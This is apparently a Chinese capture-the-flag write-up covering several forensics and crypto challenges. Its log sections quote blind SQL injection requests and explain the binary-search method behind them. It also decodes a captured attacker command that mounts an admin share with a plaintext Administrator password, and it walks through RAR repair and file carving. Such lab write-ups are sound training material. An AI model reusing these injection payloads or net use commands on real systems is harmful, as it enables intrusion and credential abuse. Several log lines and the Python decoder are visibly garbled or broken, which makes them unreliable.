- District (Nucleum (4000), mining) / sint(2) / 1/1 / 1/1 / 2
- convert(nvarchar(4000), therIg)>char(32)),1,1)>48 80 192.168.1.101
 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr+3.5.30729) 200 0 0
 2015-10-21 09:32:35 w3svcl 192.168.1.135 get /show.asp id=2 and unicode(substring((select min(ismull(cast(therIag as nvarchar(4000)), char(32))) from tourdata.dbo.news where
 convert(nvarchar(4000), therIg)>char(32)),1,1)>56181800a0bcd1bof_或_eof_中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。 80 192.168.1.101
 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr+3.5.30729) 500 0 0
 2015-10-21 09:32:5 wdsvcl 0.2015-0.201
- 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode (substring((select min(isnull(cast(theflag as nvarchar(4000)), char(32))) from tourdata.dbo.news where convert (nvarchar(4000), theflag)>char(32)),1,1)>52 80 192.168.1.101 Durilla/5.0+(windows+u:+windows+ut-6.0:+en-us:+rv:1.9.1b4)+geckn/20090423+firefox/3.5b4+gtb5+(.net+clr+3.5.30729) 200 0 0

二分法盲注思想是一旦状态码是500就要向200靠拢,如果是200往500靠拢,直到二分最后两个相邻的ascii码差值为1并且是 500状态码就是所需要的ascii。

比如,从substring(.,1,1)>48的状态码是200, substring(.,1,1)>49的状态码是500,那其实就可以确定字符的ascii码是49,以此类 推拿到所有的ascii(8个)即可得到flag。

Decode7

5261是rar文件的开头,复制到winhex保存成rar文件,根据提示压缩密码是65h-71h,得到解压密码秒破,再拿到txt文件的 sha1小写前八位即可

0	20	00	00	00	C3	EΒ	C6	C6	в2	E2	CA	D4	42	79	сс	EC	Ãë##²âÊÔByÌì
0	D2	D7	6C	6F	76	65	2E	74	78	74	00	79	6A	D2	34	78	Ò×love.txt yjÒ4x
0	4B	6D	D5	8B	0A	42	79	29	59	13	66	00	6C	6F	76	65	KmÕ< By)Y f love
0	00	2E	74	78	74	2E	2E	5B	7A	2D	7B	7D	2E	2E	39	42	.txt[z-{}9B
0	38	43	56	94	49	C8	69	1B	EC	76	8E	16	66	3C	5F	9E	8CV"IÈi ìvŽ f<_ž
0	D7	37	AE	6C	DD	C6	17	8C	80	37	F6	BB	88	DA	A8	35	×7®lÝÆ Œ 7ö»^Ú~5
0	6B	02	Α7	00	C7	76	\mathbf{FC}	0F	10	91	C1	D1	67	12	\mathbf{FC}	07	k §Çvü 'ÁÑgü
0.	5A	01	1D	5B	5D	EF	7E	46	96	6E	8B	87	8B	80	DA	BC	Z []ï~F−n<‡<€Ú¼
0	\mathbf{DF}	96	83	C4	91	65	FF	в9	93	Α7	7C	DE	86	00	A1	26	ß-fÄ'eÿ¹"§ Þ† ;&
:0	22	00	F3	D3	D5	31	5D	F0	FC	4E	2в	3A	CA	A3	94	3F	" óóõ1]ðüN+:Ê£"?
0	14	2E	C4	3D	7в	00	40	07	00	00	00	00	00	00	00	00	.Ä={ 0

Decode10

直接解md5提交即可 = =

出题人的初衷应该是爆破列出所有的字符串组合的MD5值和给出的md5比较,如果相等,返回原字符串,得出flag。

黑客攻击

十几M的流量包,过滤http的东西看下,可以发现一堆base64,解码了解下hacker的行为

cd /d "c:\inetpub\wwwroot\"&net use \\192.168.30.184\C\$ /del&echo [S]&cd&echo [E]

Post data
 Referrer
 User Agent
 Cookies

用了个net use与目标机与目标机连接,一个个找太慢,因为题目提示Administrator用户的密码,所以逆向思维一下,在众多的 http包一定会有Administrator的base64编码,所以只需要筛选出这个包就可以,对Administrator进行base64编码得到 QWRtaW5pc3RyYXRvcg==,随便去掉后面几个字符,筛选http contains QWRtaW5pc3Ry

		010 📉 🞑	لا ⇔ ⇒ 😤	1 👲 💻 📃	સ્વ્યૂસ્					
ŀ	ttp contain	s QWRtaW5pc3Ry								
No.		Time	Source	Destination	Protocol	Length		Info		
	449	40.632687	192.168.30	192.168.30	HTTP		1024	POST	/config.php HTTP/1.1	(application/x-www-form-urlencoded)

就剩下一个包,很完美的结果,对里面的base64解码即可看到密码

cd /d "c:\inetpub\wwwroot\"&net use \\192.168.30.184\C\$ "Test!@#123" /u:Administrator&echo [S]&cd&echo [E]

Decode11

这题主要考的是比较不常见的差分曼彻斯特编码,除了这个还有费纳姆密码(德军密码)、曼彻斯特解码都是比较少见的编码。

首先将十六进制报文转为二进制串,然后按照差分曼切斯特编码就能得到编码前的二进制串,从而得到传感器D

```
= 0x3EAAAAA56A69AA55A95995A569AA95565556
b = 0x3EAAAAA56A69AA556A965A5999596AA95656
b2 = bin(b)
print b2
str = ""
for i in range(len(b2[2:])/2):
 a1 = b2[i*2:i*2+2]
 a2 = b2[i*2+2:i*2+4]
 if a2 !='10' and a2 !='01':
 continue
 if a1 !='10' and a1 !='01':
 if a1!=a2:
 str+='1'
 str+='0'
print str
print hex(int(ss,2)).upper()
```

好多苍蝇

首先尝试筛选下有没有包含压缩包,可以看到有rar的传输,但是有多个,目测是分段传输,而且全是POST请求。因此过滤 http.request.method==POST

[HTTP request 1/1]	
[Response in frame: 18]	
File Data: 143 bytes	
✓ HTML Form URL Encoded: application/x-www-form-urlencoded	
✓ Form item: "{"path":"fly.rar","appid":"","size":525701,"md5":"e023afa4f6579db5becda8fe7861c2d3","sha":"ecccba7aea1d482684374b22e2e7abad2ba8674	49","sha
Key: {"path":"fly.rar","appid":"","size":525701,"md5":"e023afa4f6579db5becda8fe7861c2d3","sha":"ecccba7aea1d482684374b22e2e7abad2ba86749","	sha3":""
Value:	

_							
	http.request.method	I—POST					
No.	Time	Source	Destination	Protocol	Length	Info	
	13 0.925023	192.168.1.101	14.17.42.24	HTTP	210	POST	/cgi-bin/uploadunite?func=CreateFile&&inputf=json&outputf
	163 1.864990	192.168.1.101	59.37.116.102	HTTP	110	POST	/ftn_handler/0b126a291df43b53f99c4c71209c66fd?bmd5=0b126a
	289 2.068360	192.168.1.101	59.37.116.102	HTTP	610	POST	/ftn_handler/acbfc77208240d03e6af8c9847ccbdbb?bmd5=acbfc7
	431 2.232611	192.168.1.101	59.37.116.102	HTTP	918	POST	/ftn_handler/146b038670952f51f18d6e39e894c7de?bmd5=146b03
	577 2.364839	192.168.1.101	59.37.116.102	HTTP	782	POST	/ftn_handler/f6c7d6eef80795e032064212fd40f2a8?bmd5=f6c7d6
	729 3.102710	192.168.1.101	59.37.116.102	НТТР	391	POST	/ftn_handler/1ffd8670a499bfb6e90c5f75fffc6555?bmd5=1ffd86
	738 3.394152	192.168.1.101	14.17.42.24	HTTP	499	POST	/cgi-bin/uploadunite?func=CheckFile&inputf=json&outputf=
	767 5.751789	192.168.1.101	183.60.15.162	HTTP	867	POST	<pre>/cgi-bin/getinvestigate?sid=x508ZuWvSp9yXFgM HTTP/1.1 (a</pre>
	781 6.103926	192.168.1.101	14.17.42.24	HTTP	801	POST	<pre>/cgi-bin/compose_send?sid=x508ZuWvSp9yXFgM HTTP/1.1 (app</pre>
	10 7.403270	192.168.1.101	183.60.15.162	HTTP	1042	POST	<pre>/cgi-bin/getinvestigate?sid=x508ZuWvSp9yXFgM HTTP/1.1 (a</pre>

可以看到有五个相同的ip,也可以证实猜想

https://blog.csdn.net/qq_34356800

有一个fly.rar压缩包。size为525701,后面的md5主要用于文件传输中,它的目的主要是为了防止文件被篡改,以及验证文件的 完整性和文件的版权。md5一出来更加验证了之前的想法。然后分析2-6包,5个数据包中的MediaType域的大小各为131436、 131436、131436、131436、1777,共527521,比fly.rar大小525701大1820,多出来的猜想是包头类的信息,平均每个包大 364,可以用dd命令去掉。 思路是先将这5个包导出来,然后合成一个完整的压缩包,再查看里面的数据。把5个包以二进制方式全部导出来(选中 media type导出字节流)

将它们的前364个字节去掉

C:\Users\Pamper\Desktop\rar λ dd if=1 of=new1 bs=1 skip=364 131072+0 records in 131072+0 records out 131072 bytes (131 kB, 128 KiB) copied, 0.603404 s, 217 kB/s

C:\Users\Pamper\Desktop\rar λ dd if=2 of=new2 bs=1 skip=364 131072+0 records in 131072+0 records out 131072 bytes (131 kB, 128 KiB) copied, 0.687943 s, 191 kB/s

C:\Users\Pamper\Desktop\rar λ dd if=3 of=new3 bs=1 skip=364 131072+0 records in 131072+0 records out 131072 bytes (131 kB, 128 KiB) copied, 0.598002 s, 219 kB/s

C:\Users\Pamper\Desktop\rar λ dd if=4 of=new4 bs=1 skip=364 131072+0 records in 131072+0 records out 131072 bytes (131 kB, 128 KiB) copied, 0.634841 s, 206 kB/s

• 合并压缩包



• 为了防止切割错误导致整个压缩文件的损坏先验证md5



701, "md5": "e023afa4f6579db5becda8fe7861c2d3", "sha": "ecccba7aea

打开后发现是空的【WTF?】				
文件(F) 编辑(E) 查看(V) 书签(A) 工具(T) 帮助(H)				
□ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □				
C:\Users\Pamper\Desktop\rar\fly.rar\				
名称	大小 压缩后大小 修改时间			

https://blog.csdn.net/qq_34356800

用winhex打开发现开头和结尾都没出现错误,所以猜想是出现伪加密导致

由于我使用的是7-zip,rar压缩包的伪加密在7-zip的表现是打开没有任何东西,而对于zip的伪加密则是会出现报错或者加密。

可参考 https://ctf-wiki.github.io/ctf-wiki/misc/archive/rar/

将7484改为7480保存即可,得到flag.txt,打开又是一堆乱码,file一下是个exe文件,改后缀运行【WTF?】在此终于理解 了这题目的涵义



• 想着难道接下来要逆向一波?试试最后的挣扎,暴力分离

7800	0xE7658	PNG image, 60 x 60, 8-bit/color RGBA, non-interlaced
8758	0xE7A16	Zlib compressed data, best compression
1788	0xE85EC	PNG image, 60 x 60, 8-bit/color RGBA, non-interlaced
2746	0xE89AA	Zlib compressed data, best compression
5792	0xE9590	PNG image, 60 x 60, 8-bit/color RGBA, non-interlaced
6750	0xE994E	Zlib compressed data, best compression
0140	0xEA68C	PNG image, 60 x 60, 8-bit/color RGBA, non-interlaced
1098	0xEAA4A	Zlib compressed data, best compression
4436	0xEB754	PNG image, 60 x 60, 8-bit/color RGBA, non-interlaced
5394	0xEBB12	Zlib compressed data, best compression
8740	0xEC824	PNG image, 60 x 60, 8-bit/color RGBA, non-interlaced
9698	0xECBE2	Zlib compressed data, best compression
3060	0xED904	PNG image, 60 x 60, 8-bit/color RGBA, non-interlaced 🦯
4018	0xEDCC2	Zlib compressed data, best compression 🦯
9947	0xEF3EB	PC bitmap, Windows 3.x format,, 49 x 23 x 8 🛛 🖌
0196	0xF1BF4	XML document, version: "1.0"
1232	0xF2000	PNG image, 280 x 280, 1-bit colormap, non-interlaced
		https://blog.csdn.net/qq_34356800

• binwalk分析最后有张png,dd分离出来得到一张二维码,GETFLAG

C:\Users\Pamper\Desktop λ dd if=flag.txt.exe of=flag.png bs=1 skip=991232 646+0 records in 646+0 records out 646 bytes copied, 0.0155504 s, 41.5 kB/s

至此AK

杂项



